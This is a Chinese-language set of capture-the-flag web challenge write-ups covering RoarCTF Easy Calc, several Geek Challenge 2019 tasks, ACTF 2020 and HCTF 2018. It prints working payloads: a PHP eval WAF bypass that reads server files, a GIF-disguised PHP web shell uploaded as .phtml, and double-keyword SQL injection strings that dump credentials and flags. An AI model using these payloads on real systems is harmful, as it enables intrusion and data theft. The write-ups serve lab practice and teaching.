[RoarCTF 2019]Easy Calc
尝试在输入框输入正常的计算式都能返回正常的结果
题目提示有waf,所以输入其他符号和字母都会跳出这是啥呀的弹框
F12看了一下页面的源码
发现计算是在calc.php里面计算的
url:“calc.php?num=”+encodeURIComponent($("#content").val()),
用的是:PHP的字符串解析特性
?num=phpinfo()
?%20num=phpinfo()
PHP字符串解析存在一个漏洞
php 会删除空格
php 会将一些符号转换为下划线
访问calc.php,直接给了源码
可以看见过滤了一些特殊字符,然后eval执行我们的命令。
我们先看根目录里面有什么东西,构造命令
/calc.php?%20num=var_dump(scandir(chr(47)))
var_dump是打印参数内容,scandir是查看参数目录里的内容和目录,chr(47)就是"/","/"被过滤了,我们使用chr(47)绕过
可以看到有一个f1agg,我们查看它的内容
/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
? num=var_dump(file_get_contents(chr(47).f1agg))
file_get_contents是将整个文件读入一个字符串
[极客大挑战 2019]Http
查看源码
点击这个链接
抓包
修改header添加一行:
Referer
极客大挑战 2019]Upload

上传一个一句话木马的jpg格式
我们就换一个一句话木马
新建一个文件后缀为:.phtml,写入一句话木马
GIF89a
<script language="php">eval($_POST['shell']);</script>
上传,bp拦截一下
将Content-Type改为image/jpeg
然后蚁剑连接
/upload/6.phtml
bmV0L3FxXzUxNTU4MzYw,size_16,color_FFFFFF,t_70)
[极客大挑战 2019]BabySQL
先尝试万能密码1' or 1=1 #
显示ERROER
但是仔细观察报错语句,似乎没有看到or
猜测后端使用replace()函数过滤,尝试双写or:1' oorr 1=1 #
正常回显,看来我们猜测的不错。
测试字段数:1’ order by 3 #
order里面也有or,而且by也被过滤了,所以双写:1' oorrder bbyy 3 #
试下4:
说明字段数量为 3;
进行联合查询;1’ union select 1,2,database() #
看起来,union,select,都被过滤了;
更改命令:
`1' uniunionon selselectect 1,2,database() #`
表名:
`1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #`
查下b4bsql里面的列:
1' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name="b4bsql" #
直接看username,password:
1' uniunionon selselectect 1,username,passwoorrd frfromom b4bsql #
然后想到可能找错库了,查看所有库:
1' uniunionon selselectect 1,2,group_concat(schema_name) frfromom (infoorrmation_schema.schemata) #
查表名:
1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf' #
查列:
`1' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name="Flag" #`
直接查看。
1' uniunionon selselectect 1,2,flag frfromom ctf.Flag #
法二:
爆当前数据库名
/check.php?username=1' uniunionon selselectect 1,2,database()%23&password=123
爆表:
/check.php?username=1' uniunionon selselectect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables whwhereere table_schema=database()%23&password=123
爆字段:
/check.php?username=1' uniunionon selselectect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'%23&password=123
爆数据:
/check.php?username=1' uniunionon selselectect 1,2,group_concat(id,username,password) ffromrom b4bsql%23&password=123
我们改成passwoorrd:
/check.php?username=1' uniunionon selselectect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql%23&password=123
[ACTF2020 新生赛]Upload
随意上传一个3.jpg文件(里面含有一句话木马),抓包,修改后缀名为phtml
连接蚁剑
[ACTF2020 新生赛]BackupFile
根据提示,是备份文件泄露
.rar
.zip
.7z
.tar.gz
.bak
.swp
.txt
.html
以上是备份文件后缀,我试了下www.zip不行,应该是别的,于是用dirsearch扫描目录
是index.php.bak
简单的弱类型绕过
就很简单了,get传入key,与一串开头为123的字符串比较。== 为弱比较,直接令key=123就可以。直接出flag。
[HCTF 2018]admin 正在做
弱密码
admin/123
[极客大挑战 2019]BuyFlag
让我们post过去一个money和一个password,password要等于404,并且password不能为数字,那好办我们可以用弱类型,即让password=404a。
抓包:
添加Cookie:user=0
显而易见,把user改成1试一下:
GET和POST得转换,可以右键 变更请求方法
说数字太长了,那我们我们就可以用科学计数法:
当然也可以这样,既然说了长度太长,合理猜测一下用的是strcmp,strcmp函数特性 money后面加[]绕过 ,那么直接money[]=1就可以了。
(int strcmp ( string $str1 , string $str2 )
参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。)